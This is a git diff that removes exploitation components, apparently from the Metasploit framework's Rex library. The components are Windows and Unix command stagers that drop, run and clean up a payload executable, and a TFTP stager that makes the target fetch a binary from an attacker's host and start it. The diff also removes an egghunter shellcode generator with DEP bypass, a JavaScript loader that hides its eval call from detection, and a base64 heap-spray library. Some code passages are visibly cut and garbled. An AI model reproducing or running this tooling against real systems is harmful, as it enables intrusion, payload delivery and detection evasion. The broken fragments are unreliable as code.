'' - cmd << @cmd_start - cmd << p - cmd << @cmd_end - cmds << cmd - end - - cmds - end - - - # Generate the commands that will decode the file we just created - # @param opts [Array] The options to generate the command line - # @return [Array] The certutil Base64 decoder part of the command line - def generate_cmds_decoder(opts) - - cmds = [] - cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe" - return cmds - end - - - # We override compress commands just to stick in a few extra commands - # last second.. - # @param cmds [Array] Complete command line - # @param opts [Array] Extra options for command line generation - # @return [Array] The complete command line including cleanup - def compress_commands(cmds, opts) - # Make it all happen - cmds << "#{@tempdir}#{@var_decoded}.exe" - - # Clean up after unless requested not to.. - if (not opts[:nodelete]) - cmds << "del #{@tempdir}#{@var_encoded}.b64" - # NOTE: We won't be able to delete the exe while it's in use. - end - - super - end - - # Windows uses & to concat strings - # - # @return [String] Concat operator - def cmd_concat_operator - " & " - end - -end -end -end diff --git a/lib/rex/exploitation/cmdstager/debug_asm.rb b/lib/rex/exploitation/cmdstager/debug_asm.rb deleted file mode 100644 index e7556f8aa8..0000000000 --- a/lib/rex/exploitation/cmdstager/debug_asm.rb +++ /dev/null @@ -1,140 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' - -module Rex -module Exploitation - -### -# -# This class provides the ability to create a sequence of commands from an executable. -# When this sequence is ran via command injection or a shell, the resulting exe will -# be written to disk and executed. -# -# This particular version uses debug.exe to assemble a small COM file. The COM will -# take a hex-ascii file, created via echo >>, and decode it to the final binary. -# -# Requires: debug.exe -# -# Written by Joshua J. Drake -# -### - -class CmdStagerDebugAsm < CmdStagerBase - - def initialize(exe) - super - - @var_decoder_asm = Rex::Text.rand_text_alpha(8) + ".dat" - @var_decoder_com = Rex::Text.rand_text_alpha(8) + ".com" - @var_payload_in = Rex::Text.rand_text_alpha(8) + ".dat" - @var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe" - @decoder = nil # filled in later - end - - - # - # Override just to set the extra byte count - # - def generate_cmds(opts) - # Set the start/end of the commands here (vs initialize) so we have @tempdir - @cmd_start = "echo " - @cmd_end = ">>#{@tempdir}#{@var_payload_in}" - xtra_len = @cmd_start.length + @cmd_end.length + 1 - opts.merge!({ :extra => xtra_len }) - super - end - - - # - # Simple hex encoding... - # - def encode_payload(opts) - ret = @exe.unpack('H*')[0] - end - - - # - # Combine the parts of the encoded file with the stuff that goes - # before / after it. - # - def parts_to_commands(parts, opts) - - cmds = [] - parts.each do |p| - cmd = '' - cmd << @cmd_start - cmd << p - cmd << @cmd_end - cmds << cmd - end - - cmds - end - - - # - # Generate the commands that will decode the file we just created - # - def generate_cmds_decoder(opts) - - # Allow decoder stub override (needs to input base64 and output bin) - @decoder = opts[:decoder] if (opts[:decoder]) - - # Read the decoder data file - f = File.new(@decoder, "rb") - decoder = f.read(f.stat.size) - f.close - - # Replace variables - decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}") - decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}") - # NOTE: these two filenames MUST 8+3 chars long. - decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}") - decoder.gsub!(/testfile\.out/, "#{@var_payload_out}") - - # Split it apart by the lines - decoder.split("\n") - end - - - # - # We override compress commands just to stick in a few extra commands - # last second.. - # - def compress_commands(cmds, opts) - # Convert the debug script to an executable... - cvt_cmd = '' - if (@tempdir != '') - cvt_cmd << "cd %TEMP% && " - end - cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}" - cmds << cvt_cmd - - # Convert the encoded payload... - cmds << "#{@tempdir}#{@var_decoder_com}" - - # Make it all happen - cmds << "start #{@tempdir}#{@var_payload_out}" - - # Clean up after unless requested not to.. - if (not opts[:nodelete]) - cmds << "del #{@tempdir}#{@var_decoder_asm}" - cmds << "del #{@tempdir}#{@var_decoder_com}" - cmds << "del #{@tempdir}#{@var_payload_in}" - # XXX: We won't be able to delete the payload while it is running.. - end - - super - end - - # Windows uses & to concat strings - def cmd_concat_operator - " & " - end - -end -end -end diff --git a/lib/rex/exploitation/cmdstager/debug_write.rb b/lib/rex/exploitation/cmdstager/debug_write.rb deleted file mode 100644 index d7050bcba2..0000000000 --- a/lib/rex/exploitation/cmdstager/debug_write.rb +++ /dev/null @@ -1,134 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' - -module Rex -module Exploitation - -### -# -# This class provides the ability to create a sequence of commands from an executable. -# When this sequence is ran via command injection or a shell, the resulting exe will -# be written to disk and executed. -# -# This particular version uses debug.exe to write a small .NET binary. That binary will -# take a hex-ascii file, created via echo >>, and decode it to the final binary. -# -# Requires: .NET, debug.exe -# -### - -class CmdStagerDebugWrite < CmdStagerBase - - def initialize(exe) - super - - @var_bypass = Rex::Text.rand_text_alpha(8) - @var_payload = Rex::Text.rand_text_alpha(8) - @decoder = nil # filled in later - end - - - # - # Override just to set the extra byte count - # - def generate_cmds(opts) - # Set the start/end of the commands here (vs initialize) so we have @tempdir - @cmd_start = "echo " - @cmd_end = ">>#{@tempdir}#{@var_payload}" - xtra_len = @cmd_start.length + @cmd_end.length + 1 - opts.merge!({ :extra => xtra_len }) - super - end - - - # - # Simple hex encoding... - # - def encode_payload(opts) - @exe.unpack('H*')[0] - end - - - # - # Combine the parts of the encoded file with the stuff that goes - # before / after it. - # - def parts_to_commands(parts, opts) - - cmds = [] - parts.each do |p| - cmd = '' - cmd << @cmd_start - cmd << p - cmd << @cmd_end - cmds << cmd - end - - cmds - end - - - # - # Generate the commands that will decode the file we just created - # - def generate_cmds_decoder(opts) - - # Allow decoder stub override (needs to input base64 and output bin) - @decoder = opts[:decoder] if (opts[:decoder]) - - # Read the decoder data file - f = File.new(@decoder, "rb") - decoder = f.read(f.stat.size) - f.close - - # Replace variables - decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}") - - # Split it apart by the lines - decoder.split("\n") - end - - - # - # We override compress commands just to stick in a few extra commands - # last second.. - # - def compress_commands(cmds, opts) - # Convert the debug script to an executable... - cvt_cmd = '' - if (@tempdir != '') - cvt_cmd << "cd %TEMP% && " - end - cvt_cmd << "debug < #{@tempdir}#{@var_bypass}" - cmds << cvt_cmd - - # Rename the resulting binary - cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe" - - # Converting the encoded payload... - cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}" - - # Make it all happen - cmds << "start #{@tempdir}#{@var_payload}.exe" - - # Clean up after unless requested not to.. - if (not opts[:nodelete]) - cmds << "del #{@tempdir}#{@var_bypass}.exe" - cmds << "del #{@tempdir}#{@var_payload}" - # XXX: We won't be able to delete the payload while it is running.. - end - - super - end - - # Windows uses & to concat strings - def cmd_concat_operator - " & " - end - -end -end -end diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb deleted file mode 100644 index a158b51971..0000000000 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ /dev/null @@ -1,167 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' -require 'shellwords' - -module Rex -module Exploitation - -class CmdStagerEcho < CmdStagerBase - - ENCODINGS = { - 'hex' => "\\\\x", - 'octal' => "\\\\" - } - - def initialize(exe) - super - - @var_elf = Rex::Text.rand_text_alpha(5) - end - - # - # Override to ensure opts[:temp] is a correct *nix path - # and initialize opts[:enc_format]. - # - def generate(opts = {}) - opts[:temp] = opts[:temp] || '/tmp/' - - unless opts[:temp].empty? - opts[:temp].gsub!(/\\/, '/') - opts[:temp] = opts[:temp].shellescape - opts[:temp] << '/' if opts[:temp][-1,1] != '/' - end - - # by default use the 'hex' encoding - opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s - - unless ENCODINGS.keys.include?(opts[:enc_format]) - raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}" - end - - super - end - - # - # Override to set the extra byte count - # - def generate_cmds(opts) - # Set the start/end of the commands here (vs initialize) so we have @tempdir - @cmd_start = "echo " - unless opts[:noargs] - @cmd_start += "-en " - end - - @cmd_end = ">>#{@tempdir}#{@var_elf}" - xtra_len = @cmd_start.length + @cmd_end.length - opts.merge!({ :extra => xtra_len }) - - @prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]] - min_part_size = 5 # for both encodings - - if (opts[:linemax] - opts[:extra]) < min_part_size - raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available" - end - - super - end - - - # - # Encode into a format that echo understands, where - # interpretation of backslash escapes are enabled. For - # hex, it'll look like "\\x41\\x42", and octal will be - # "\\101\\102\\5\\41" - # - def encode_payload(opts) - case opts[:enc_format] - when 'octal' - return Rex::Text.to_octal(@exe, @prefix) - else - return Rex::Text.to_hex(@exe, @prefix) - end - end - - - # - # Combine the parts of the encoded file with the stuff that goes - # before ("echo -en ") / after (">>file") it. - # - def parts_to_commands(parts, opts) - parts.map do |p| - cmd = '' - cmd << @cmd_start - cmd << p - cmd << @cmd_end - cmd - end - end - - # - # Since the binary has been already dropped to fs, just execute and - # delete it - # - def generate_cmds_decoder(opts) - cmds = [] - # Make it all happen - cmds << "chmod 777 #{@tempdir}#{@var_elf}" - #cmds << "chmod +x #{@tempdir}#{@var_elf}" - cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}" - - # Clean up after unless requested not to.. - unless opts[:nodelete] - cmds << "rm -f #{@tempdir}#{@var_elf}" - end - - return cmds - end - - # - # Override it to ensure that the hex representation of a byte isn't cut - # - def slice_up_payload(encoded, opts) - encoded_dup = encoded.dup - - parts = [] - xtra_len = opts[:extra] - xtra_len ||= 0 - while (encoded_dup.length > 0) - temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) - # cut the end of the part until we reach the start - # of a full byte representation "\\xYZ" or "\\YZX" - temp = fix_last_byte(temp, opts, encoded_dup) - parts << temp - encoded_dup.slice!(0, temp.length) - end - - parts - end - - def fix_last_byte(part, opts, remaining="") - fixed_part = part.dup - - case opts[:enc_format] - when 'hex' - while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix) - fixed_part.chop! - end - when 'octal' - if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix - pos = fixed_part.rindex('\\') - pos -= 1 if fixed_part[pos-1] == '\\' - fixed_part.slice!(pos..fixed_part.length-1) - end - end - - return fixed_part - end - - def cmd_concat_operator - " ; " - end - -end -end -end diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb deleted file mode 100644 index f0bbe60275..0000000000 --- a/lib/rex/exploitation/cmdstager/printf.rb +++ /dev/null @@ -1,122 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' -require 'shellwords' - -module Rex -module Exploitation - -class CmdStagerPrintf < CmdStagerBase - - def initialize(exe) - super - - @var_elf = Rex::Text.rand_text_alpha(5) - end - - # - # Override to ensure opts[:temp] is a correct *nix path - # - def generate(opts = {}) - opts[:temp] = opts[:temp] || '/tmp/' - opts[:temp].gsub!(/\\/, '/') - opts[:temp] = opts[:temp].shellescape - opts[:temp] << '/' if opts[:temp][-1,1] != '/' - super - end - - # - # Override to set the extra byte count - # - def generate_cmds(opts) - if opts[:noquotes] - @cmd_start = "printf " - @cmd_end = ">>#{@tempdir}#{@var_elf}" - @prefix = '\\\\' - min_part_size = 5 - else - @cmd_start = "printf '" - @cmd_end = "'>>#{@tempdir}#{@var_elf}" - @prefix = '\\' - min_part_size = 4 - end - xtra_len = @cmd_start.length + @cmd_end.length - opts.merge!({ :extra => xtra_len }) - - if (opts[:linemax] - opts[:extra]) < min_part_size - raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available" - end - - super - end - - # - # Encode into a "\12\345" octal format that printf understands - # - def encode_payload(opts) - return Rex::Text.to_octal(@exe, @prefix) - end - - # - # Override it to ensure that the octal representation of a byte isn't cut - # - def slice_up_payload(encoded, opts) - encoded_dup = encoded.dup - - parts = [] - xtra_len = opts[:extra] - xtra_len ||= 0 - while (encoded_dup.length > 0) - temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) - - # remove the last octal escape if it is imcomplete - if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix - pos = temp.rindex('\\') - pos -= 1 if temp[pos-1] == '\\' - temp.slice!(pos..temp.length-1) - end - - parts << temp - encoded_dup.slice!(0, temp.length) - end - - parts - end - - # - # Combine the parts of the encoded file with the stuff that goes - # before and after it. - # - def parts_to_commands(parts, opts) - parts.map do |p| - @cmd_start + p + @cmd_end - end - end - - # - # Since the binary has been already dropped to disk, just execute and - # delete it - # - def generate_cmds_decoder(opts) - cmds = [] - # Make it all happen - cmds << "chmod +x #{@tempdir}#{@var_elf}" - cmds << "#{@tempdir}#{@var_elf}" - - # Clean up after unless requested not to.. - unless opts[:nodelete] - cmds << "rm -f #{@tempdir}#{@var_elf}" - end - - return cmds - end - - def cmd_concat_operator - " ; " - end - -end -end -end diff --git a/lib/rex/exploitation/cmdstager/tftp.rb b/lib/rex/exploitation/cmdstager/tftp.rb deleted file mode 100644 index c5baadd466..0000000000 --- a/lib/rex/exploitation/cmdstager/tftp.rb +++ /dev/null @@ -1,71 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' - -module Rex -module Exploitation - -### -# -# This class provides the ability to create a sequence of commands from an executable. -# When this sequence is ran via command injection or a shell, the resulting exe will -# be written to disk and executed. -# -# This particular version uses tftp.exe to download a binary from the specified -# server. The original file is preserve, not encoded at all, and so this version -# is significantly simpler than other methods. -# -# Requires: tftp.exe, outbound udp connectivity to a tftp server -# -# Written by Joshua J. Drake -# -### - -class CmdStagerTFTP < CmdStagerBase - - def initialize(exe) - super - @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe" - end - - def setup(mod) - self.tftp = Rex::Proto::TFTP::Server.new - self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe) - self.tftp.start - mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo - end - - def teardown(mod = nil) - self.tftp.stop - end - - # - # We override compress commands just to stick in a few extra commands - # last second.. - # - def compress_commands(cmds, opts) - # Initiate the download - cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}" - - # Make it all happen - cmds << "start #{@tempdir + @payload_exe}" - - # Clean up after unless requested not to.. - if (not opts[:nodelete]) - # XXX: We won't be able to delete the payload while it is running.. - end - - super - end - - # NOTE: We don't use a concatenation operator here since we only have a couple commands. - # There really isn't any need to combine them. Also, the ms01_026 exploit depends on - # the start command being issued separately so that it can ignore it :) - attr_reader :exe - attr_reader :payload_exe - attr_accessor :tftp -end -end -end diff --git a/lib/rex/exploitation/cmdstager/vbs.rb b/lib/rex/exploitation/cmdstager/vbs.rb deleted file mode 100644 index 3f1b32f696..0000000000 --- a/lib/rex/exploitation/cmdstager/vbs.rb +++ /dev/null @@ -1,126 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' - -module Rex -module Exploitation - -### -# -# This class provides the ability to create a sequence of commands from an executable. -# When this sequence is ran via command injection or a shell, the resulting exe will -# be written to disk and executed. -# -# This particular version uses Windows Scripting (VBS) to base64 decode a file, -# created via echo >>, and decode it to the final binary. -# -# Requires: Windows Scripting -# Known Issue: errors with non-ascii-native systems -# -# Written by bannedit -# -### - -class CmdStagerVBS < CmdStagerBase - - def initialize(exe) - super - - @var_decoder = Rex::Text.rand_text_alpha(5) - @var_encoded = Rex::Text.rand_text_alpha(5) - @var_decoded = Rex::Text.rand_text_alpha(5) - @decoder = nil # filled in later - end - - - # - # Override just to set the extra byte count - # - def generate_cmds(opts) - # Set the start/end of the commands here (vs initialize) so we have @tempdir - @cmd_start = "echo " - @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" - xtra_len = @cmd_start.length + @cmd_end.length + 1 - opts.merge!({ :extra => xtra_len }) - super - end - - - # - # Simple base64... - # - def encode_payload(opts) - Rex::Text.encode_base64(@exe) - end - - - # - # Combine the parts of the encoded file with the stuff that goes - # before / after it. - # - def parts_to_commands(parts, opts) - - cmds = [] - parts.each do |p| - cmd = '' - cmd << @cmd_start - cmd << p - cmd << @cmd_end - cmds << cmd - end - - cmds - end - - - # - # Generate the commands that will decode the file we just created - # - def generate_cmds_decoder(opts) - - # Allow decoder stub override (needs to input base64 and output bin) - @decoder = opts[:decoder] if (opts[:decoder]) - - # Read the decoder data file - f = File.new(@decoder, "rb") - decoder = f.read(f.stat.size) - f.close - - # Replace variables - decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs") - decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64") - decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe") - - # Split it apart by the lines - decoder.split("\n") - end - - - # - # We override compress commands just to stick in a few extra commands - # last second.. - # - def compress_commands(cmds, opts) - # Make it all happen - cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs" - - # Clean up after unless requested not to.. - if (not opts[:nodelete]) - cmds << "del #{@tempdir}#{@var_decoder}.vbs" - cmds << "del #{@tempdir}#{@var_encoded}.b64" - # NOTE: We won't be able to delete the exe while it's in use. - end - - super - end - - # Windows uses & to concat strings - def cmd_concat_operator - " & " - end - -end -end -end diff --git a/lib/rex/exploitation/egghunter.rb b/lib/rex/exploitation/egghunter.rb deleted file mode 100644 index beae3ab192..0000000000 --- a/lib/rex/exploitation/egghunter.rb +++ /dev/null @@ -1,423 +0,0 @@ -# -*- coding: binary -*- -require 'rex/text' -require 'rex/arch' -require 'metasm' - -module Rex -module Exploitation - -### -# -# This class provides an interface to generating egghunters. Egghunters are -# used to search process address space for a known byte sequence. This is -# useful in situations where there is limited room for a payload when an -# overflow occurs, but it's possible to stick a larger payload somewhere else -# in memory that may not be directly predictable. -# -# Original implementation by skape -# (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf) -# -# Checksum checking implemented by dijital1/corelanc0d3r -# Checksum code merged to Egghunter by jduck -# Conversion to use Metasm by jduck -# Startreg code added by corelanc0d3r -# Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r) -# Added support for searchforward option (true or false) -# -### -class Egghunter - - ### - # - # Windows-based egghunters - # - ### - module Windows - Alias = "win" - - module X86 - Alias = ARCH_X86 - - # - # The egg hunter stub for win/x86. - # - def hunter_stub(payload, badchars = '', opts = {}) - - startreg = opts[:startreg] - searchforward = opts[:searchforward] - - raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4 - marker = "0x%x" % opts[:eggtag].unpack('V').first - - checksum = checksum_stub(payload, badchars, opts) - - startstub = '' - if startreg - if startreg.downcase != 'edx' - startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr" - else - startstub = "\n\tjmp next_addr" - end - end - startstub << "\n\t" if startstub.length > 0 - - # search forward or backward ? - flippage = "\n\tor dx,0xfff" - edxdirection = "\n\tinc edx" - - if searchforward.to_s.downcase == 'false' - # go backwards - flippage = "\n\txor dl,dl" - edxdirection = "\n\tdec edx" - end - - # other vars - getpointer = '' - getsize = '' - getalloctype = '' - getpc = '' - jmppayload = "jmp edi" - - apireg = opts[:depreg] || 'esi' - apidest = opts[:depdest] - depsize = opts[:depsize] - - freeregs = [ "esi", "ebp", "ecx", "ebx" ] - - reginfo = { - "ebx"=>["bx","bl","bh"], - "ecx"=>["cx","cl","ch"] - } - - if opts[:depmethod] - - if freeregs.index(apireg) == nil - getpointer << "mov #{freeregs[0]},#{apireg}\n\t" - apireg = freeregs[0] - end - freeregs.delete(apireg) - - if opts[:depmethod].downcase == "virtualalloc" - depsize = 0xfff - end - - if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size" - if apidest - if freeregs.index(apidest) == nil - getpointer << "mov #{freeregs[0]},#{apidest}\n\t" - apidest = freeregs[0] - end - else - getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t" - apidest = freeregs[0] - end - freeregs.delete(apidest) - end - - - sizereg = freeregs[0] - - if not depsize - depsize = payload.length * 2 - if opts[:depmethod] - if opts[:depmethod].downcase == "copy_size" - depsize = payload.length - end - end - end - - if depsize <= 127 - getsize << "push 0x%02x\n\t" % depsize - else - sizebytes = "%04x" % depsize - low = sizebytes[2,4] - high = sizebytes[0,2] - if sizereg == "ecx" || sizereg == "ebx" - regvars = reginfo[sizereg] - getsize << "xor #{sizereg},#{sizereg}\n\t" - if low != "00" and high != "00" - getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes - elsif low != "00" - getsize << "mov #{regvars[1]},0x%s\n\t" % low - elsif high != "00" - getsize << "mov #{regvars[2]},0x%s\n\t" % high - end - end - if sizereg == "ebp" - if low != "00" and high != "00" - getsize << "xor #{sizereg},#{sizereg}\n\t" - getsize << "mov bp,0x%s\n\t" % sizebytes - end - end - # last resort - if getsize == '' - blockcnt = 0 - vpsize = 0 - blocksize = depsize - while blocksize > 127 - blocksize = blocksize / 2 - blockcnt += 1 - end - getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize - vpsize = blocksize - depblockcnt = 0 - while depblockcnt < blockcnt - getsize << "add #{sizereg},#{sizereg}\n\t" - vpsize += vpsize - depblockcnt += 1 - end - delta = depsize - vpsize - if delta > 0 - getsize << "add #{sizereg},0x%02x\n\t" % delta - end - end - if opts[:depmethod].downcase == "virtualalloc" - getsize << "inc #{sizereg}\n\t" - end - - getsize << "push #{sizereg}\n\t" - - end - - getalloctype = getsize - - case opts[:depmethod].downcase - when "virtualprotect" - jmppayload = "push esp\n\tpush 0x40\n\t" - jmppayload << getsize - jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret" - when "virtualalloc" - jmppayload = "push 0x40\n\t" - jmppayload << getalloctype - jmppayload << "push 0x01\n\t" - jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret" - when "copy" - jmppayload = getpc - jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret" - when "copy_size" - jmppayload = getpc - jmppayload << getsize - jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret" - end - end - - jmppayload << "\n" if jmppayload.length > 0 - - assembly = < 0 - - assembly = < - # js = < - # - # You might use something like this in exploit - # modules to pass the key to the javascript - # - # if (!request.uri.match(/\?\w+/)) - # send_local_redirect(cli, "?#{@key}") - # return - # end - # - # - - def self.encrypt(js, key) - js.gsub!(/[\r\n]/, '') - - encoded = Rex::Encoding::Xor::Generic.encode(js, key)[0].unpack("H*")[0] - - # obfuscate the eval call to circumvent generic detection - eval = 'eval'.split(//).join(Rex::Text.rand_text_alpha(rand(5)).upcase) - eval_call = 'window["' + eval + '".replace(/[A-Z]/g,"")]' - - js_loader = Rex::Exploitation::ObfuscateJS.new <<-ENDJS - var exploit = '#{encoded}'; - var encoded = ''; - for (i = 0;i { - 'Variables' => [ 'exploit', 'encoded', 'pass', 'decoded' ], - }, - 'Strings' => false - ) - end - -end - -end -end diff --git a/lib/rex/exploitation/heaplib.js.b64 b/lib/rex/exploitation/heaplib.js.b64 deleted file mode 100644 index 547a3e8b9a..0000000000 --- a/lib/rex/exploitation/heaplib.js.b64 +++ /dev/null @@ -1,331 +0,0 @@ -Ly8NCi8vICAgSmF2YVNjcmlwdCBIZWFwIEV4cGxvaXRhdGlvbiBsaWJyYXJ5 -DQovLyAgIGJ5IEFsZXhhbmRlciBTb3Rpcm92IDxhc290aXJvdkBkZXRlcm1p -bmEuY29tPg0KLy8gIA0KLy8gICBWZXJzaW9uIDAuMw0KLy8NCi8vIENvcHly -aWdodCAoYykgMjAwNywgQWxleGFuZGVyIFNvdGlyb3YNCi8vIEFsbCByaWdo -dHMgcmVzZXJ2ZWQuDQovLyANCi8vIFRoZSBIZWFwTGliIGxpYnJhcnkgaXMg -bGljZW5zZWQgdW5kZXIgYSBCU0QgbGljZW5zZSwgdGhlIHRleHQgb2Ygd2hp -Y2ggZm9sbG93czoNCi8vIA0KLy8gUmVkaXN0cmlidXRpb24gYW5kIHVzZSBp -biBzb3VyY2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0aCBvciB3aXRob3V0DQov -LyBtb2RpZmljYXRpb24sIGFyZSBwZXJtaXR0ZWQgcHJvdmlkZWQgdGhhdCB0 -aGUgZm9sbG93aW5nIGNvbmRpdGlvbnMNCi8vIGFyZSBtZXQ6DQovLyANCi8v -IDEuIFJlZGlzdHJpYnV0aW9ucyBvZiBzb3VyY2UgY29kZSBtdXN0IHJldGFp -biB0aGUgYWJvdmUgY29weXJpZ2h0DQovLyAgICBub3RpY2UsIHRoaXMgbGlz -dCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWltZXIu -DQovLyAyLiBSZWRpc3RyaWJ1dGlvbnMgaW4gYmluYXJ5IGZvcm0gbXVzdCBy -ZXByb2R1Y2UgdGhlIGFib3ZlIGNvcHlyaWdodA0KLy8gICAgbm90aWNlLCB0 -aGlzIGxpc3Qgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2luZyBkaXNj -bGFpbWVyIGluIHRoZQ0KLy8gICAgZG9jdW1lbnRhdGlvbiBhbmQvb3Igb3Ro -ZXIgbWF0ZXJpYWxzIHByb3ZpZGVkIHdpdGggdGhlIGRpc3RyaWJ1dGlvbi4N -Ci8vIDMuIE5laXRoZXIgdGhlIG5hbWUgb2YgQWxleGFuZGVyIFNvdGlyb3Yg -bm9yIHRoZSBuYW1lIG9mIERldGVybWluYSBJbmMuDQovLyAgICBtYXkgYmUg -dXNlZCB0byBlbmRvcnNlIG9yIHByb21vdGUgcHJvZHVjdHMgZGVyaXZlZCBm -cm9tIHRoaXMgc29mdHdhcmUNCi8vICAgIHdpdGhvdXQgc3BlY2lmaWMgcHJp -b3Igd3JpdHRlbiBwZXJtaXNzaW9uLg0KLy8gDQovLyBUSElTIFNPRlRXQVJF -IElTIFBST1ZJREVEIEJZIFRIRSBDT1BZUklHSFQgSE9MREVSUyBBTkQgQ09O -VFJJQlVUT1JTICJBUyBJUyINCi8vIEFORCBBTlkgRVhQUkVTUyBPUiBJTVBM -SUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRP -LCBUSEUNCi8vIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJ -VFkgQU5EIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFDQovLyBB -UkUgRElTQ0xBSU1FRC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFIENPUFlSSUdI -VCBPV05FUiBPUiBDT05UUklCVVRPUlMgQkUNCi8vIExJQUJMRSBGT1IgQU5Z -IERJUkVDVCwgSU5ESVJFQ1QsIElOQ0lERU5UQUwsIFNQRUNJQUwsIEVYRU1Q -TEFSWSwgT1INCi8vIENPTlNFUVVFTlRJQUwgREFNQUdFUyAoSU5DTFVESU5H -LCBCVVQgTk9UIExJTUlURUQgVE8sIFBST0NVUkVNRU5UIE9GDQovLyBTVUJT -VElUVVRFIEdPT0RTIE9SIFNFUlZJQ0VTOyBMT1NTIE9GIFVTRSwgREFUQSwg -T1IgUFJPRklUUzsgT1IgQlVTSU5FU1MNCi8vIElOVEVSUlVQVElPTikgSE9X -RVZFUiBDQVVTRUQgQU5EIE9OIEFOWSBUSEVPUlkgT0YgTElBQklMSVRZLCBX -SEVUSEVSIElODQovLyBDT05UUkFDVCwgU1RSSUNUIExJQUJJTElUWSwgT1Ig -VE9SVCAoSU5DTFVESU5HIE5FR0xJR0VOQ0UgT1IgT1RIRVJXSVNFKQ0KLy8g -QVJJU0lORyBJTiBBTlkgV0FZIE9VVCBPRiBUSEUgVVNFIE9GIFRISVMgU09G -VFdBUkUsIEVWRU4gSUYgQURWSVNFRCBPRiBUSEUNCi8vIFBPU1NJQklMSVRZ -IE9GIFNVQ0ggREFNQUdFLg0KLy8NCiANCi8vDQovLyBoZWFwTGliIG5hbWVz -cGFjZQ0KLy8NCg0KZnVuY3Rpb24gaGVhcExpYigpIHsNCn0NCg0KDQovLw0K -Ly8gaGVhcExpYiBjbGFzcw0KLy8NCg0KLy8gaGVhcExpYi5pZSBjb25zdHJ1 -Y3Rvcg0KLy8NCi8vIENyZWF0ZXMgYSBuZXcgaGVhcExpYiBBUEkgb2JqZWN0 -IGZvciBJbnRlcm5ldCBFeHBsb3Jlci4gVGhlIG1heEFsbG9jDQovLyBhcmd1 -bWVudCBzZXRzIHRoZSBtYXhpbXVtIGJsb2NrIHNpemUgdGhhdCBjYW4gYmUg -YWxsb2NhdGVkIHVzaW5nIHRoZSBhbGxvYygpDQovLyBmdW5jdGlvbi4NCi8v -DQovLyBBcmd1bWVudHM6DQovLyAgICBtYXhBbGxvYyAtIG1heGltdW0gYWxs -b2NhdGlvbiBzaXplIGluIGJ5dGVzIChkZWZhdWx0cyB0byA2NTUzNSkNCi8v -ICAgIGhlYXBCYXNlIC0gYmFzZSBvZiB0aGUgZGVmYXVsdCBwcm9jZXNzIGhl -YXAgKGRlZmF1bHRzIHRvIDB4MTUwMDAwKQ0KLy8NCg0KaGVhcExpYi5pZSA9 